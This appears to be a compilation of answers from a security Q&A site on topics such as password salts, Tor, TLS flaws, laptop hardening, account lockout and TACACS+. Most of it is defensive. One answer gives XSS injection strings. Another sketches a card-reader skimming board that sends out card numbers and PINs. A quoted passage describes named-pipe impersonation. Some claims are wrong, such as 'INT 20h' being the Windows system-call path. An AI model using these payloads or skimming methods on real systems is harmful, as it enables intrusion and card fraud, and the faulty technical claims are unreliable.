Ethicality of websites that test other sites for Heartbleed

The particular site linked in that BBC article is not launching attacks. It simply is checking the HTTP headers of the website you enter and decides if the site is vulnerable or not based on if it can identify the version of open SSL it is using, the date of the certificate and a database of known vulnerable sites. It does this because this is all public information, attacking it would have legal consecuences like you mention.To answer your question in my opinion there is nothing ethically wrong with testing for it as long as you don´t use or store the information you would obtain by exploiting it, however it would still be illegal.


Risks and prevention methods associated with flagging or downvoting?

The easiest way to prevent it is to have have a reputation or karma system like you see on most sites, this one included. If you can't implement such a system, then you're not left with much in the way of prevention aside from the usual bot prevention methods you've mentioned. What you would need to focus on would be detection.

A detection algorithm would help you identify and block any bots that make it through your CAPTCHAs, etc. This algorithm would look at a number of user metrics and compare them to some baseline average, any user with a one or more anomalous metrics would get flagged for investigation.

Some metrics could be:

age of account vs number of up/down votes
recent rate of up/down votes
ratio of up:down votes.
ratio of votes to page/article views
ratio of votes to comments
ratio of votes that match the majority opinion

The list would obviously depend on the site and interactions available, but you get the idea.


Difference between FIPS 196 and SSL for authentication?

FIPS 196 introduces two-step authentication based on Digital Signatures.

Authentication using SSL uses FIPS 140-2.


Open Source OS - code you see vs code you get

When you download just the binary, then you can't. You have to trust the distributor of the binary that it is indeed compiled from the published sourcecode.

When you consider the developer trustworthy but you aren't sure you can trust a download mirror, then note that many developers publish hashsums of their binaries, so when you download the binary from an untrusted mirror, you can validate it by checking the hash. This, however, assumes 1. that the binary is the one compiled by the developer and not an independent build by the distributor, and 2. that the developer isn't the one who wants to screw people by releasing a binary compiled from a different sourcecode than what he is publishing.

When you want to make sure that the binary you get is really compiled from the source, you have to get the sourcecode and compile it yourself. This might take quite some time with more complex projects.

But it's questionable if it is really worth it from a security point of view, because just because the sourcecode is public doesn't mean that it is free of backdoors. There is the underhanded C code contest with many creative examples of how to hide malicious sourcecode in plain view. When you want a more real-world example: The heartbleed bug was a vulnerability which existed for years in a very widely used piece of open source software and nobody noticed. There is no reason to believe that it was an intentional backdoor, but when it would have been intentional, the fact that it is in public soucecode and not smuggled into a binary would give the one who planted it plausible deniability.


Yes, if you use the same salt then the same password will result in the same hash.

The general idea behind secure password storage lies in maximising the amount of computational work that an adversary will have to perform should they gain access to the stored credentials.

The purpose of a salt is to mitigate the value of pre-computed (i.e. no additional work as they already exist) hashes. In the case of salt-less storage an adversary can simply compare their list against your stored passwords. If you were to use the same salt then, although a new list of hashes would have to be produced, it would only have to be done once. Per-password salts require a new brute-force attack for each password.

You can store the salt with the hash as its predominant contribution to security lies in its uniqueness (and size) rather than its secrecy.

Here is a good resource, and I would suggest paying attention to the adaptive one-way functions that allow for key stretching:

https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet


Why is Firefox shipped with expired root certificates?

Mozilla policy?
I think there is probably less of a technical answer to that. And more of a Mozilla policy answer.
Trust stores have certain rules about how you can get your root CAs into and out of it.
Mozilla also has such rules. I don't completely understand them.
But the general idea is that once your root is inside the Mozilla trust store the regular way you can get thrown out is via a two step process: first your root is left in the trust store, but placed in "deprecated" status. And after your root has been in deprecated status you may then be thrown out completely.
If on the other hand you already have a root CA in the Mozilla trust store and only want to renew it, then the rules are slightly different than if you had no root CAs there. (Not sure about that part.) They have a special section on the wiki named Requests from Already Included CAs that are in or Ready for Discussion -- and A-Trust is listed there.
And what I think is the case here is that "A-Trust" has a root in the store from earlier on but their renewal efforts have not really worked yet. They're still stuck in that process.
Also: While expiration dates may not be a technical reason for exclusion from a trust store, expiration certainly is a reason according to Mozilla policy.


Keep in mind that TOR provides anonymity, but not necessarily security. For example, say that the government where you live has banned parsnips for being too vulgar, and anyone caught even looking at them online is thrown into jail. But you still like reading about parsnips, but you don't want the government to know that you're a deviant for fear of being incarcerated.
This is where TOR is an excellent option, since it by design makes is extremely difficult to locate who's the original sender of any traffic. An adversary might see that someone on TOR is looking at parsnips, or that you're using TOR, but not both (unless they can see both your exit and entry relays and do a correlation attack but that's highly unlikely).

However, say that you want to do your online banking, and you don't quite trust the WiFi you're connected to. There's no reason to hide that you want to do online banking, so you don't need anonymity, and HTTPS can be broken in various ways by anybody forwarding the traffic, so here you're introducing more risk by using TOR, since suddenly 3 more unknown entities have access to your traffic. So here a commercial VPN might be a better option, since you a) know who's handling your traffic, and b) it's a single entity.

The worst combination would be to use TOR for both traffic that requires anonymity and traffic that doesn't. Continuing my example above, using TOR to both look at forbidden parsnips, as well as to do your online banking, at the same time would be very risky, since you need to identify yourself to do banking, and any leak from that application suddenly identifies the TOR user.

So, it's best to use TOR only when you really need it, and preferably only with services that don't require identification.


Some implementations of TLS 1.0 did not properly validate the padding as required by the TLS specification. This led to a situation in which the POODLE bug could be leveraged against TLS 1.0, despite the fact that it should be secure against the attack. Later versions of TLS (i.e. 1.1 and 1.2) are inherently secure against POODLE and other padding oracle issues because they authenticate the encrypted message (CBC-then-MAC) rather than authenticating the plaintext (MAC-then-CBC) (EDIT: That bit was wrong, see Thomas Pornin's comment below)

As far as I know, the only major implementations affected are in equipment from F5 Networks, A10 Networks, and Cisco. The SSL Labs scanner checks for the bug, but it can only target internet-facing IPs. The Windows SSL stack, as far as I can tell, properly implements the padding checks in TLS 1.0 and therefore isn't vulnerable to the TLS variant of POODLE. As such, you shouldn't need to do anything.


In that case, it is probably the password hashing function bcrypt, described by someone who does not make the difference between "hashing" and "encryption". Bad terminology, good function.

It must be said that there is an encryption tool called bcrypt as well, and which is known to do things very poorly, as far as encryption tools go. This is occasionally the source of great confusion.


Best Practices Setting Up an Enterprise PKI

You might find Part III "Deployment Considerations" in Understanding PKI by Adams & Lloyd valuable. In that part the authors address many of the deployment questions that should be considered for any large-scale PKI.

It's a bit older (the second edition is from 2003) but the book still contains great advice.


Securing a laptop against attacks (article)

Some commentary:
Defending from common thieves

Rather than wiping Windows 7, I've left it as a honeypot operating
system. If a thief steals the laptop, when they turn it on, it will
automatically boot up into Windows, without so much as even being
prompted for a password. I installed a free application called Prey
which will allow me to grab loads of information from the laptop, such
as its location, and pictures from the built in webcam.

Unlikely. Most laptop thieves have been in prison at one point in their lives, so they've learnt a thing or two from their fellow inmates. They are wise to this trick. When they steal electrical items that can communicate, they take batteries out (and SIM cards if applicable). Most mobile phone thieves carry opening tools for iPhones, so they can quickly remove the SIM. They'll then sell the laptop onto a fence (someone who sells on stolen goods) who will take out the drive and wipe it, and install a new OS on it. Usually a pirated copy of Windows.
Defending from experts

I consider full disk encryption to be essential if you want to secure your laptop. However, there are several attacks against machines that use full disk encryption; I decided to address as many of them as possible.

Agreed that full-disk crypto is good! Let's move on...
Evil maid attacks

Even if you have a machine which uses full disk encryption, the boot partition and boot loader need to be stored somewhere unencrypted. Typically, people store it on the hard drive along with the encrypted partitions. The problem with doing this is, whenever you go to your machine, you don't know if somebody has tampered with the unencrypted data to install a software keylogger to capture your password. To get around this, I installed my boot partition and boot loader on a Corsair Survivor USB stick. I wanted a USB stick which would never leave my side.

This is a real threat, albeit rather unlikely. However, the USB stick booter does not protect you. It makes the bad guy's job more difficult, but if they're going to the trouble of tampering with hardware, they could just as easily install a hardware keylogger under your keyboard. Lock the laptop in a case when it's out of your sight. I always do this in hotels, because it helps prevent theft too. I also suggest investing in a decent Kensington lock, which can be attached around pipes and various other strong fixtures.

On a typical system with disk encryption, the encryption key is stored in RAM. This would be fine, if it weren't for the fact that there are several ways for an attacker with physical access, to read the contents of the RAM on a machine which is running, or which has been running recently. You might think that your machine's RAM is wiped as soon as it loses power, but that is not the case. It can take several minutes for the RAM to completely clear after losing power. Cooling the RAM with spray from an aircan, can extend that time period.

This is misleading. At room temperature, modern DDR3 loses integrity below the 50% confidence mark at around 3-15 seconds after power-down. DDR2 tends to do so at around 20-30 seconds. This makes a cold-boot attack on DRAM modules very unlikely, even if you almost immediately leave the room and someone jumps in and drops your laptop into a convenient vat of liquid nitrogen. It's just not going to happen. However, you should avoid sleep mode, which puts the system in a low-power state and continues to refresh the RAM. In such a case, an attacker could freeze the DRAM modules on-site and take them to a lab for analysis. Hibernate isn't a problem if you're using full-disk encryption - the machine state is stored on disk and the system is completely shut down.

You could password protect the BIOS and disable booting from anything other than the hard drive, but that still doesn't protect you.

It won't protect against coldboot attacks, but it protects against a lot of other stuff. You'll also find that a lot of BIOS implementations offer a boot password too, which will make things more difficult for an attacker or thief, since the machine won't even POST without the password.

The second defence I used is far more interesting. I use something called TRESOR. TRESOR is an implementation of AES as a cipher kernel module which stores the keys in the CPU debug registers, and which handles all of the crypto operations directly on the CPU, in a way which prevents the key from ever entering RAM.

This only prevents your crypto keys from being stolen. The RAM will still contain all sorts of other important data, such as file system cache. It'll also contain your LSA keys, LSA vault and in-memory SAM (or the equivalent structures in Linux) which can be used to recover account password hashes. If these are cracked, it might give an attacker an idea of what your disk encryption password is. As such, I highly recommend using a unique password for your disk encryption.
Attacks via firewire

If a machine has a firewire port, or a card slot which would allow an attacker to insert a firewire card, then there's something else you need to address. It is possible to read the contents of RAM via a firewire port.

Yep, and the same is possible via cardbus. If you're paranoid, you'll need to physically disable these interfaces.

So instead, I built firewire as a set of kernel modules, and prevent the modules from loading under normal circumstances using /etc/modprobe.d/blacklist.

Won't work. The OS can't interact with the device if you disable support or remove drivers, but a firewire device or cardbus module can still function in any way it likes at the hardware level - it just can't interact directly with your OS software. DMA requests and interrupts can still be sent by the device, allowing it to read memory. This allows the attacker to collect it later, or have it transmitted over RF.
Preparing for disk encryption

you should completely wipe a new hard drive with random data before setting up disk encryption. This is to make it impossible for somebody to be able to detect which parts of the drive have had encrypted data written to them. Doing this, is as simple as creating a partition on the space you want to fill with random data, and then using the "dd" command to copy data directly to that partition device in /dev/ from /dev/urandom. This took a few hours to run on my system.

This is a silly way to do it. TrueCrypt automatically wipes the entire disk with random data as part of the volume creation wizard. It's also faster than direct reads from /dev/urandom, because TC does its own strong AES-based random data generation on top of what the system provides. Don't bother doing it manually with dd - you might get it wrong.

I complicated this procedure slightly by using something I purchased called an EntropyKey. The EntropyKey provides a much larger source of "real" random data, as opposed to the much more limited "pseudo" random data that is generated by the operating system.

This is maybe a good idea. I don't see any real technical analysis of this device, so I can't really say whether it's good or not. Passing various statistical checks doesn't really mean a whole lot. It uses avalanche noise from the P-N junction of a transistor, which is a known good source of random noise, since it is created by the probabilistic effect of quantum tunnelling. However, the noise isn't without bias. Due to various electrical properties of a circuit, such as inductance and capacitance, you'll see small biases towards particular waveforms that "resonate" with various power planes and loops within the board's copper pathways. This bias can be reduced with a software filter called von Neumann whitening, which involves translating bit pairs from 01 to 0, 10 to 1, and discarding 11 and 00 bit pairs. This reduces the output speed of the generator by a factor of at least 1/4 (for an idea random source), but removes bias. I can't tell if this is being done within the EntropyKey.
More on disk encryption

When I initially did the installation, I chose to protect the full disk encryption key with a passphrase. It is also possible to protect it with a keyfile. The advantage of using a keyfile is that you can store it on an external device. An attacker can't just observe you entering the password, they also need to get hold of the keyfile. It's also much more difficult to brute force.

This is fine as long as you have both the keyfile and a password. It essentially provides two-factor authentication.

If you need to use swap. Make sure it is encrypted too. The easiest way to make sure everything is encrypted is to create an encrypted device, and then use LVM on top of that so that all of your partitions and swap end up on top of the same encrypted device.

Wise words. On Windows you should configure your virtual memory (swap) to be placed only on disks that are part of your full-disk encryption regime.

The laptop I purchased has something called a Trusted Platform Module. This TPM can handle a number of crypto operations it's self. It also provides a random number generator similar to the EntropyKey. Apparently a lot of modern laptops contain one of these.

I'd avoid this, due to past problems with TPMs and government backdoors. Whilst I can't cite any concrete evidence, it makes me nervous enough to avoid it.

I use Firefox as my web browser. Surfing the web scares me; the browser strikes me as the most likely way in for a remote attacker. And yet, most people run the browser under the same user id as the rest of their programs. So if the browser is compromised, all of the files that your user can access are also instantly compromised. To try and minimise any damage if this happens, I decided to run Firefox in its own account.

Again, smart. It'd be even smarter to sandbox it entirely, as well as run it under its own user. This is more difficult for Windows, so I'd say your best bet is to have your user account set as a limited user for most tasks (with UAC switched on!) and only switch to an admin account when you actually need to. Something like Sandboxie can also help.

All of my incoming email is encrypted using my public GPG key. I detailed how I do this here. This means that I need to store my private GPG keys on my laptop. They're protected by a passphrase, but is this enough? If my account was compromised, an attacker could key log my passphrase and then steal my keys. Luckily, when I purchased my laptop, I ticked the "Smartcard Reader" option. I then purchased an OpenPGP Smartcard. My encryption and signing subkeys have been transferred to the smartcard, and the master key has been removed from my laptop.

Useful, but this fails to take into account the "evil maid" attack mentioned earlier. It's possible to sniff the card's communications, or tamper with it so that it stores the keys for later retrieval.

I use the following Firefox addons to minimise the chance of MITM attacks against my browsing, and to prevent most XSS/CSRF attacks: Certificate Patrol, Cipherfox, DNSSEC Validator, HTTPS Everywhere, HTTPS Finder, NoScript, Perspectives and Request Policy.

Good list! I'd also include Collusion, AdBlock Plus and Greasemonkey. Collusion catches various tracking cookies and allows you to block them. AdBlock Plus is useful for killing off ads, which can be a source of various nasties from tracker cookies to malware. Greasemonkey is a user-script addon which lets you inject your own JavaScript into selected sites or pages. It can be useful for disabling various functionality on particular pages, or adding your own functionality. For example, I have a script that looks for various URL shortener links and replaces their target with a JavaScript popup box, allowing me to decide what to do with the link.

I installed an application called blueproximity. It detects when my phone is in range, via bluetooth. If my phone moves out of range, the screen automatically locks. I've no doubt that this can be prevented via spoofing my phone, but it adds another layer of security.

A cool gimmick, but easily spoofed. Bluetooth security is crap.

All in all, a pretty neat article. It has its flaws, but it also has a lot of sound advice. If you follow even half of it you should be secure against all but the most determined attackers. At the end of the day, it's a balancing act between the risks you care about and the time/money you want to put into it.


In which cases you should block a user after a certain number of failed attempts?

You have to protect for the greater threat. You have 2 scenarios:

Malicious user/troll trying to deny service to a fellow user. This is a relatively common concern but is rare to see in practice
Attackers brute forcing accounts: Although your site may not have any data useful for an attacker the credentials themselves are as many users re-use passwords

Scenario 2 is, for most sites, far more likely and for that reason having a lockout policy is a good thing. Captcha (if implemented properly) would be useful to prevent bots from additional login attempts in scenario 2, after x number of attempts it would throw up a captcha screen, defeating a bot but humans could unlock it. Setting up alerts for repeated login failures is a smart idea so you can track this sort of thing, as is alerting users via email when it happens so a user can tell you whether it's them acting or not.

If you think scenario 1 is relatively likely for your site then being able to filter access from a particular set of IP addresses makes sense. Most malicious users don't have a botnet at their command that they'd use just to keep a user locked out, so you'd probably see a pattern. It would be harder to use this method against a sophisticated attacker though, just using TOR would be enough to defeat your filtering. One good bit of protection you could use for scenario 1 is in your login detail design, not allowing username sign-ins and using email addresses instead. That way if a troll doesn't like SmarterPerson1887 they'd have to know that user's email address, which is much less likely.


What are the implications of SHA-1 collision for other hash functions like RIPEMD-160?

The SHA-1 collision was based on some weakness of the SHA-1 hash. This is what makes it 100,000 faster than the brute force attack.¹ Different hash functions will probably not have the same issue, although I would make plans for replacing them.


I clicked a link in an email message. What should I do now?

That sub-domain is still working/alive so there's a chance it would of still have deployed something then 404'ed.

Currently, a scan performed on that sub-domain shows it is clean, so it most likely did contain something bad at a point but was then removed. You can do URL scans with online tools like virustotal.com .

Just to be on the safe side, you should just scan your system for anything dangerous with anti-malware/anti-spyware tools.


Uploading JSP (Any kind of java code) to Tomcat without manager

As for the point (2) and for the jsp not rendered correctly, It is likely the uploaded files are stored in a database not in the fs.
Otherwise a one reason that jsp are not rendered is because tomacat is having problem locating the tag library.


Can I use Honey Encryption in place of MD5?

No, not directly.  The concepts are almost diametrically opposed, so you would need build an entirely new system. But you shouldn't be using MD5 either.  For password hashing you should be using a slow hash function with a variable work factor, like bcrypt, and for general cryptographic hashes, a more modern and stronger function such as SHA-2.


Why is DigiNotar CA still in my Mozilla Firefox?

It's not really a cert, it's really more of an anti-cert, there to block DigiNotar even if some dumb user tries to click through the "Add Exception..." button.

The evidence is that it says "Could not verify this certificate because it is not trusted".

As pointed out by @JohnDeters, you can't revoke a self-signed root CA, so the only reason a root cert would not be trusted is if you open the "Details" tab and see that it's not actually a cert, but some weird Firefox object called Builtin Object Token:Explicitly Distrust DigiNotar Root CA.


How to overcome the risk of account being compromised using OTP when mobile device is stolen

Authentication can be done in three ways:

Something you know (eg. a password)
Something you have (eg OTP)
Something you are (eg. a fingerprint)

So you can use any combination of two or all three for the password reset functionality. For example, if a user asks to reset password, you can ask the user a set of 2 questions and when he answers those correctly, you can send the OTP or the code to the mail ID.


This would be effective against session hijacking. It would also log out users when they resize their browser window, or when they update their browser.

The best way to prevent session hijacking is to bind sessions to IP addresses. Furthermore, you should take action when you detect a hijacked session, so when two IP addresses are using the same session identifier.

In the future, you can prevent session hijacking by binding cookies to TLS connections using Token Binding over HTTP.

Edit: see Why aren't sessions exclusive to an IP address? for some disadvantages of binding sessions to IP addresses.


Does the existence of a recovery code render 2FA useless?

No, for several reasons.

First of all, using a recovery code is very noisy. Using a recovery code is not identical to using a password with a TOTP, so a recovery code should not be seen as "simply an extension of the first factor". So if an attacker would use a recovery code and change your phone number to one that the attacker controls, you can be sure that you would get various notices (e.g. via e-Mail, app notification, etc.). Also if you would contact support immediately, stating that an attacker cracked your recovery code, you would probably have high chances of having your access restored.

Secondly, it's recommended not to store a recovery code in the same location as your passwords. Storing your passwords in a Keepass database is a good idea. Recovery codes, however, should not be stored there. I would recommend writing them on a sheet of paper and sticking it in a folder with other important documents (preferably in a safe, or similar). This way, an attacker that gains access to your Keepass database and is able to crack the password of that database, doesn't have access to both password and recovery code.

That way, in order to steal your recovery code, an attacker would either have to guess it (which should be impossible with a recovery code like Lining Everybody Frays Overpay Swinger Boogeyman Rise Anvil Pastel Quaking), or gain access to your home (at which point the security of your GitHub account is probably secondary).


Dualbooting Windows and Ubuntu, can I get Windows viruses/malware while running Ubuntu?

If you had two viruses in play, one that infected Linux with a payload to infect Windows, then it could conceptually happen. However, a native Windows virus cannot run in Linux at all. The reason why nothing would happen has to do with something known as the "Application Binary Interface", or "ABI" for short.

In Windows, most system calls are performed through something called "INT 20h", while in Linux, system calls are performed through "INT 80h". This means that a Windows-based virus that tries to call the system through 20h would simply terminate without causing any harm, as INT 20h is a "DOS-compatible terminate program" command.

In reality, most virus writers are going to go through the path of least resistance: write a Linux virus to infect the currently running Linux system, and write a Windows virus to infect the currently running Windows system. It would take a significant amount of extra effort just to write a virus whose only purpose was to infect an offline OS.

As far as I know, it would be far easier to simply write a hypervisor virus that runs "underneath" the OS, as then the ABI would have no meaning, since they'd have direct access to the hardware and memory.

On the other hand, if you download a virus intentionally, for example, you were trying to get a copy of a game from a questionable resource, and you did this in Linux, but downloaded the file to your Windows partition, and you later ran the program in Windows, then you could indeed get infected at that point. The main point, however, is that Linux is impervious to Windows viruses, and Windows is impervious to Linux viruses. They simply do not speak the same language.


Nmap's scripts require the "rule" function to return true before they will run against a target. The rule function for ssl-dh-params checks for common SSL port numbers, but also for whether version detection (-sV) found SSL present. You can get it to work on any port easily by adding -sV, or if you are in a hurry, -sV --version-light.

Because ssl-enum-ciphers is a very popular script that people often request to run on unusual ports, we expanded the rule function for that script to also send some SSL-detecting probes if version detection was not requested. We didn't make this change to other ssl-* scripts because fewer users complained of missing results in this way. We'll consider adding this to other scripts in the future.

EDIT: Today I moved the extra probing code from ssl-enum-ciphers into the shortport.ssl function so that all SSL/TLS-related scripts can work the same way. The probes will only be sent once per port; the result is cached and will be checked by the other scripts as needed. Watch for it in the next Nmap release.


Can changing your IP address prevent an NMap attack?

Changing IP address is not a good defense strategy. It's merely evasion and security by obscurity.
The only good strategy is a properly configured firewall + minimizing the attack surface, that is exposing as few services as possible.
You are not saying if this is a LAN or a WAN but the deal is not much different really. In practice the IP address range available is limited, so it's trivial for an attacker to scan the whole range and re-discover your assets. You won't remain hidden for too long.
There are things you can do to thwart port scanning attemtps and frustrate attackers though. Have a look at tools like CSF+LFD for example. They will block offenders at firewall level after a certain threshold of port scanning attempts or login failures.
Again, that depends on your circumstances and what you are trying to prevent or protect. Your question should be more focused.
An nmap scan is usually noisy and an IDS should alert you in addition to blocking the attacker. That is precisely what a software IDS such as CSF+LFD does.


What is the purpose of using Youtube-style alphanumeric ids as URL slugs?

Youtube must produce URL by which the videos can be referenced. They prefer that the URL be short. They can choose the ID in any way that they see fit, provided that it matches their constraints, in particular:

The ID must be unique (no two videos may share it).
The ID must "work well" with whatever indexing mechanism they internally use.

Deriving the ID from the video "title" would be problematic in several ways: difficult to guarantee uniqueness, the usual Unicode-related mayhem when people have the insufferable arrogance of using characters which are not in the ASCII set, and string-based indexing (whereas I can imagine that a database would be happier with a 64-bit integer as indexing key).

There is a priori no security issue here. There would be a security issue if the URL were meant to reference non-public documents, in which case the ability to "guess" valid URL would be problematic (a possible solution would then be to include a MAC in the ID). But Youtube videos are inherently public (they make no sense otherwise -- already, a number of them make no sense at all anyway).


How can I protect named pipes in windows?

From Gray Hat Hacking The Ethical Hacker's Handbook, 4th Edition:

  Enumerating Named Pipes

  Named pipes are similar to shared sections in
  that developers used to think, incorrectly, that named pipes accept
  only trusted, well-formed data from users or programs running at the
  same privilege level as the program that has created the named pipe.
  There are (at least) three elevation-of-privilege threats with named
  pipes. First, weakly ACL’d named pipes can be written to by
  low-privileged attackers, potentially causing parsing or logic flaws
  in a program running at a higher privilege level. Second, if attackers
  can trick higher-privileged users or processes to connect to their
  named pipe, the attackers may be able to impersonate the caller. This
  impersonation functionality is built into the named pipe
  infrastructure. Finally, attackers might also find information
  disclosed from the pipe that they wouldn’t otherwise be able to
  access. AccessChk does not appear to support named pipes natively, but
  Mark Russinovich of Sysinternals did create a tool specifically to
  enumerate named pipes. Here’s the output from PipeList.exe:

PipeList v1.1
by Mark Russinovich
http://www.sysinternals.com
Pipe Name                      Instances      Max Instances
---------                      ---------      -------------
TerminalServer\AutoReconnect        1             1
InitShutdown                        2            -1
lsass                               3            -1
protected_storage                   2            -1
SfApi                               2            -1
ntsvcs                              6            -1
scerpc                              2            -1
net\NtControlPipe1                  1             1
net\NtControlPipe2                  1             1
net\NtControlPipe3                  1             1

  The Process Explorer GUI will display the security descriptor for
  named pipes. The “squatting” or “luring” attack (the second
  elevation-of-privilege threat previously mentioned) requires an
  attacker having the SeImpersonatePrivilege to influence the behavior
  of a process running at a higher privilege level. One such example
  discovered by Cesar Cerrudo involved an attacker being able to set the
  file path in the registry for a service’s log file path to an
  arbitrary value. The attack involved setting the log file path to
  \??\Pipe\AttackerPipe, creating that named pipe, causing an event to
  be logged, and impersonating the LocalSystem caller connecting to
  \??\Pipe\AttackerPipe.


Does allowing the  tag create any XSS vulnerabilities?

Looking at the definition for the cite tag it doesn't look like in and of itself it's likely to introduce XSS issues as in most uses it's a bare tag without JavaScript style parameters.

The only potenial issue I could see is if it interacts badly with the code that is being used to filter content in a tags as a tags can be nested inside cite tags, but that's mainly just a filter implementation issue rather than a fundamental problem.


Can particular object be detected and extracted from RAM?

I am just a developer with a security interest, but:

It seems like one way to answer your question is the technique of File / Memory Carving.

Looking through the raw memory or disk for content (such as images or documents etc).

It is a forensics technique, sort of like brute force searching memory for documents.

File Carving - Includes a lot of related terminology

File Carving Tools (start with a memory image)


How exactly does TACACS+ encryption work?

TACACS+ requires that a pre-shared key (length of the key is restricted to 63 characters) is configured. This is how the device authenticates to the server. This is not 'challenge-response'.

This pre-shared key is used to set up encryption that encrypts the whole packet, which means that usernames and passwords are protected from the start.

How it is encrypted is explained in the RFC in the section "Body Encryption". It's a version of the One Time Pad.

  In this case, the packet body is encrypted by XOR-ing it byte-wise
  with a pseudo random pad.

  ENCRYPTED {data} == data ^ pseudo_pad

  The pad is generated by concatenating a series of MD5 hashes (each
  16    bytes long) and truncating it to the length of the input data.

  Whenever used in this document, MD5 refers to the "RSA Data
  Security,    Inc. MD5 Message-Digest Algorithm" as specified in [3].

  pseudo_pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]} truncated to len(data)

  The first MD5 hash is generated by concatenating the session_id,
  the    secret key, the version number and the sequence number and then
  run-    ning MD5 over that stream. All of those input values are
  available in    the packet header, except for the secret key which is
  a shared secret    between the TACACS+ client and daemon.

  The version number is the one byte combination of the major and
  minor    version numbers.

  The session id is used in the byte order in which it appears in the
  TACACS+ header. (i.e. in network byte order, not host byte order).

  Subsequent hashes are generated by using the same input stream, but
  concatenating the previous hash value at the end of the input stream.

  MD5_1 = MD5{session_id, key, version, seq_no}

  MD5_2 = MD5{session_id, key, version, seq_no, MD5_1}

  ....

  MD5_n = MD5{session_id, key, version, seq_no, MD5_n-1}

User authentication process is described here:

https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus5000/sw/configuration/guide/cli/CLIConfigurationGuide/sec_tacacsplus.html

Update 01.03.2018:

It seems that Cisco has updated TACACS+ and users are now able to encrypt passwords with AES128 when using newer high performance switches. So far this only encrypts passwords. It does not change the encryption of the payload of the TACACS+ protocol. But it's something. Note though that not all products can make use of this.


Does brute forcing require a password and username list?

A "dictionary" attack is a subset of a "brute force" attack. You are still trying every item in a list to see if it works, and that makes it "brute force". Another type of brute force, of course, is to permute all characters and lengths.


Here are some things I would consider:

Review the code
Create a new unprivileged user and use that to run the script (on a port higher than 1023) and use IPtables to redirect low-port traffic to your high-port.
Look at something like resource controls to prevent the user/script from tying up resources (like opening up a million file handles)

Chroot and dropping privileges are also good options, provided you are keeping your host OS patched.


Why message digest should be kept secret?

If the message is sent in the clear, then there's no reason to not send a digest in the clear... Except:

Using RSA to "sign" the message (to prove the identity of the person who sent it and the integrity of the message) involves encrypting the hash. This may be what you're reading about.

Since RSA is a key-pair algorithm, you can keep one key secret and make one key public. Therefore, if you encrypt the hash with your private key, then if somebody else decrypts it with your public key and that digest matches the message, then they can prove that you (the only one who has the private key) had to have written the message and nobody else has modified it in the meantime.

In this case, the point of encrypting the hash/digest isn't to hide it, but to use that encryption for proof of identity and integrity.


How to show xss alert box when you are inside function in  tag?

Some obvious things to try are:

blah"; alert('xss'); "blah

or

blah"; }); alert('xss'); $(function () { var stranica = "moreblah

This question is probably too narrow for this site.


Using an android non-rooted as a wifi adapter

I assume your set up is your phone is connected to the internet somehow (4G/3G/wifi) and then you are using your phone as a wifi hotspot (aka wifi tethering), so other devices can connect to your phone and use your phone's internet connection.

This doesn't increase the network security in any way.  If the network connection your phone is using is compromised (e.g., unencrypted wifi is visible to anyone in your wifi radio range, or encrypted wifi or 3G/4G connection that people nearby can't eavesdrop, though the ISP can eavesdrop) then they can still intercept and/or modify all your traffic from devices tethered to your phone (though they won't be able to decrypt or subtly modify encrypted traffic like via HTTPS).  It doesn't matter if the connection between your phone and the device is strong (e.g., WPA2), the encrypted wifi traffic between your device and your phone gets decrypted at your phone and then is sent over the insecure network (as if it came from your phone instead of a device tethered to your phone).

It potentially does decrease the security, if your phone is connected to a WiFi network with WPA2 and a strong passphrase, but your wifi hotspot uses no encryption or a very weak encryption (e.g., WEP) and a weak passphrase.  This allows an attacker to eavesdrop the connection between your device and your phone, where they wouldn't have been able to eavesdrop the connection between your device and the wifi network with WPA2.

If you are security conscious, you potentially could increase the local network security by routing all your internet traffic on your phone through a VPN.  This would allow you to connect to a weak local network (e.g., wifi with no password in a public place) and encrypt all your traffic between you and your VPN server.  Note your unencrypted traffic (e.g., not HTTPS) will still be visible to an eavesdropper at your VPN server and beyond (that is between the VPN server and the server you are talking to on the internet).  (Granted you could also just make every device connect to your VPN directly as well).

The point of the firewall is to protect your phone from incoming network attacks and/or limit the network ability of malware you may have inadvertently installed.  It doesn't affect the security of your connection.


What infection vectors is Trojan.Linux.BillGates usually delivered with?

So I have found a few resources which seem to indicate that the main infection method is done by gaining access to the system using SSH bruteforce:

A Avast antivirus research:

  The infection starts by an attempt to brute force SSH login credentials of the root user. If successful, attackers gain access to the compromised machine, then install the Trojan usually via a shell script.

A Akamai reasearch:

  Like the XOR botnet, this malware is believed to be of Asian origin. The attackers are using
  the same methods for infection, which are primarily SSH brute force attempts for root login
  credentials (previously it was reported that infection methods include a vulnerability in
  ElasticSearch Java VM).


How can vending machines be hacked? And how can I prevent it?

When I wrote that comment, I was referring to vending machines in a generalised sense - including things like ticket machines as well as the obvious food-dispensing ones. I was specifically thinking about a model of ticket vending machine at a place I frequent, which has the following interfaces:

Keypad
Credit / debit card terminal
RFID for contactless use of a customer loyalty card, but also for employee override.
Ethernet cable plugged in the back.
JTAG port behind the front panel (requires you to unlock the front panel, but it's only a tubular pin lock and can easily be defeated)

So, how might we own such a vending machine? Well, it's got enough interfaces for us to try...
Keypad
The keypad is an interesting vector, but it's unlikely to fall to any form of buffer overflow since there aren't really any buffers involved. At most we might be able to figure out some sort of back-door access code that gets us into a config screen, but it's doubtful.
Credit / debit card terminal
The one near me has an Ingenico i3300 card reader fixed into a recess in the side of the machine. I happen to have one to hand (yay eBay!) and can approach the reverse engineering of it in two ways:

Attack the hardware. There's an FCC ID on the device, which I used to pull up the regulatory information from the Office of Engineering and Technology. The FCC deal with emissions testing and a bunch of other stuff, and as part of an application the company must provide detailed documentation of the product, internal and external photos (great for me, since opening the device myself would trip the tamper detect) and other test data. From there, I might discover a weakness in how the card reader detects intrusions, and find a way to open it and mess with the internal firmware. If I screw up, it's not a big deal - I can pick up another for less than £10 on eBay. Alternatively, I could remove the real board and replace it with my own, with an XBee / bluetooth / 802.11x device that transmits card info and pin numbers.
Attack the software. There has been a lot of research into this (e.g. PinPadPwn) and many devices are vulnerable to buffer overflows from custom cards. It's possible to program the chips on chip & pin cards to install firmware mods onto a device, simply via putting them in the device as if you were a normal customer. It's then possible to come back later and download card numbers and pins onto another special card. Scary, eh?

RFID
